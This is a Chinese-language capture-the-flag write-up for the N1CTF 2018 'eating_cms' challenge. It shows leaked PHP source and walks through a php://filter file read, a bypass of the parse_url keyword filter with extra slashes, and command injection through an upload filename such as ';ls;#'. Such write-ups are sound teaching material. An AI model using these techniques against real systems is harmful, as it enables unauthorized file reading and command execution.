本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [N1CTF 2018]eating_cms
首先我们先访问 /register.php 注册一个账号
然后登录时抓包:(好像没啥用)

登录进去后,观察到了url:
| 1
 | http://28cccbf3-a44a-489b-bd83-4c91fd1d739e.node4.buuoj.cn:81/user.php?page=guest
 | 
page=guest,看起来应该是文件包含,我们尝试一下文件包含漏洞:
获取user.php源码
| 1
 | user.php?page=php://filter/convert.base64-encode/resource=user
 | 

user.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 
 | <?phprequire_once("function.php");
 if( !isset( $_SESSION['user'] )){
 Header("Location: index.php");
 
 }
 if($_SESSION['isadmin'] === '1'){
 $oper_you_can_do = $OPERATE_admin;
 }else{
 $oper_you_can_do = $OPERATE;
 }
 
 if($_SESSION['isadmin'] === '1'){
 if(!isset($_GET['page']) || $_GET['page'] === ''){
 $page = 'info';
 }else {
 $page = $_GET['page'];
 }
 }
 else{
 if(!isset($_GET['page'])|| $_GET['page'] === ''){
 $page = 'guest';
 }else {
 $page = $_GET['page'];
 if($page === 'info')
 {
 
 Header("Location: user.php?page=guest");
 }
 }
 }
 filter_directory();
 
 
 
 include "$page.php";
 ?>
 
 | 
然后读取function.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 
 | <?phpsession_start();
 require_once "config.php";
 function Hacker()
 {
 Header("Location: hacker.php");
 die();
 }
 
 
 function filter_directory()
 {
 $keywords = ["flag","manage","ffffllllaaaaggg"];
 $uri = parse_url($_SERVER["REQUEST_URI"]);
 parse_str($uri['query'], $query);
 
 
 foreach($keywords as $token)
 {
 foreach($query as $k => $v)
 {
 if (stristr($k, $token))
 hacker();
 if (stristr($v, $token))
 hacker();
 }
 }
 }
 
 function filter_directory_guest()
 {
 $keywords = ["flag","manage","ffffllllaaaaggg","info"];
 $uri = parse_url($_SERVER["REQUEST_URI"]);
 parse_str($uri['query'], $query);
 
 
 foreach($keywords as $token)
 {
 foreach($query as $k => $v)
 {
 if (stristr($k, $token))
 hacker();
 if (stristr($v, $token))
 hacker();
 }
 }
 }
 
 function Filter($string)
 {
 global $mysqli;
 $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
 $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
 for ($i = 0; $i < strlen($string); $i++) {
 if (strpos("$whitelist", $string[$i]) === false) {
 Hacker();
 }
 }
 if (preg_match("/$blacklist/is", $string)) {
 Hacker();
 }
 if (is_string($string)) {
 return $mysqli->real_escape_string($string);
 } else {
 return "";
 }
 }
 
 function sql_query($sql_query)
 {
 global $mysqli;
 $res = $mysqli->query($sql_query);
 return $res;
 }
 
 function login($user, $pass)
 {
 $user = Filter($user);
 $pass = md5($pass);
 $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
 echo $sql;
 $res = sql_query($sql);
 
 
 if ($res->num_rows) {
 $data = $res->fetch_array();
 $_SESSION['user'] = $data[username_which_you_do_not_know];
 $_SESSION['login'] = 1;
 $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
 return true;
 } else {
 return false;
 }
 return;
 }
 
 function updateadmin($level,$user)
 {
 $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
 echo $sql;
 $res = sql_query($sql);
 
 
 
 if ($res == 1) {
 return true;
 } else {
 return false;
 }
 return;
 }
 
 function register($user, $pass)
 {
 global $mysqli;
 $user = Filter($user);
 $pass = md5($pass);
 $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
 $res = sql_query($sql);
 return $mysqli->insert_id;
 }
 
 function logout()
 {
 session_destroy();
 Header("Location: index.php");
 }
 
 ?>
 
 | 
重点观察一下这些代码:
这里存在 parse_url()解析漏洞
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | $keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);
 parse_str($uri['query'], $query);
 
 
 foreach($keywords as $token)
 {
 foreach($query as $k => $v)
 {
 if (stristr($k, $token))
 hacker();
 if (stristr($v, $token))
 hacker();
 }
 }
 
 | 
parse_str() 函数把查询字符串解析到变量中。
parse_url()

parse_url在url不能被解析的时候就会返回false
如果我们直接读取:ffffllllaaaaggg.php文件,会被waf检测到,我们可以让parse_url解析错误,这样就能绕过了
parse_url小结
一种方法是加三个斜杠 ///

| 12
 3
 4
 5
 6
 7
 
 | <?phpif (FLAG_SIG != 1){
 die("you can not visit it directly");
 }else {
 echo "you can find sth in m4aaannngggeee";
 }
 ?>
 
 | 
我们继续读:m4aaannngggeee.php
| 12
 3
 4
 5
 6
 7
 
 | <?phpif (FLAG_SIG != 1){
 die("you can not visit it directly");
 }
 include "templates/upload.html";
 
 ?>
 
 | 
访问:/templates/upload.html:
 
有一个假的文件上传,upllloadddd.php
我们尝试获得源码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | <?php$allowtype = array("gif","png","jpg");
 $size = 10000000;
 $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
 $filename = $_FILES['file']['name'];
 if(is_uploaded_file($_FILES['file']['tmp_name'])){
 if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
 die("error:can not move");
 }
 }else{
 die("error:not an upload file!");
 }
 $newfile = $path.$filename;
 echo "file upload success<br />";
 echo $filename;
 $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
 echo "<img src='data:image/png;base64,".$picdata."'></img>";
 if($_FILES['file']['error']>0){
 unlink($newfile);
 die("Upload file error: ");
 }
 $ext = array_pop(explode(".",$_FILES['file']['name']));
 if(!in_array($ext,$allowtype)){
 unlink($newfile);
 }
 ?>
 
 | 
注意如下代码:
| 1
 | $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
 | 
通过上传的文件名进行命令执行
我们访问:m4aaannngggeee.php
 
这里有一个真的文件上传
我们上传文件:文件名(;ls;#)

返回上一级查看flag:斜杠被过滤了,我们使用cd ..

然后cat查看flag即可